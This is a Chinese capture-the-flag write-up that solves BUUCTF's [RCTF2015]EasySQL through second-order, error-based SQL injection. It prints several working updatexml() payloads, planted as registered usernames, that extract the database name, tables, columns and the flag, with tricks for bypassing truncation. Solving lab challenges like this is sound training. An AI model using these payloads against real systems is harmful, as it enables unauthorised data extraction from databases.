BUUCTF-WEB [RCTF2015]EasySQL 1

考点

二次报错注入

解题过程

打开

image-20210816162614306

两个功能,登录和注册

先注册

用admin作为账户名注册的时候提示,user exists! 可以知道admin账号存在,先不管,用root作为账户名注册。

注册并登录成功

image-20210816163624108

点击root超链接,发现里面存在一个修改密码的功能

image-20210816163708480

image-20210816163733999

接下来尝试用 admin"# 的方式修改admin密码。

流程

第一步:先以 admin”# 为账户名注册

image-20210816164138322

第二步:登录 admin”# 账户

image-20210816164213127

第三步:修改 密码

image-20210816164250031

发现可以修改admin账户名的登录密码,但是并没有什么用,flag也没有藏在个人信息里,但是可以知道的是,更改密码那里存在sql注入漏洞。

image-20210816164514370

接下来

通过翻开源代码可以知道,更改密码那会将错误信息输出。

image-20210816164731026

构造payload

先注册页面提交

1
test"||updatexml(1,concat(0x7e,database(),0x7e),1)#&password=test&email=123

image-20210816165025422

登录并点开修改密码提交一次

image-20210816165208565

成功拿到数据库表

拿数据库表

1
test"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

image-20210816165423855

article,flag,users

拿列名

1
test"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)#

image-20210816165559776

XPATH syntax error: ‘~name,pwd,email,real_flag_1s_her’

发现并没有获取完,学到一个新姿势。

1
test"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)#

这里如果是放在bp里提交有个小问题,&&后边的内容会提交不上,解决方式就是将&&url编码成%26%26

image-20210816165904360

查值

1
test"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#

image-20210816170041019

出现问题,未显示完,用reverse函数逆序输出

1
test"||updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)#

image-20210816170228846

python一下

1
2
3
s = "~}8e548f769e29-07c9-1c44-5196-67"
print(s[::-1])
# 76-6915-44c1-9c70-92e967f845e8}~

拼接一下,就得到

1
flag{8b8f6676-6915-44c1-9c70-92e967f845e8}

总结

这道题,凭借自己能力,只能达到修改admin用户名那一步,还是太菜,后边都是看别的师傅wp,这道题又巩固了一次二次注入的做题经验,又学到了报错注入未显示完整的内容显示出来的姿势。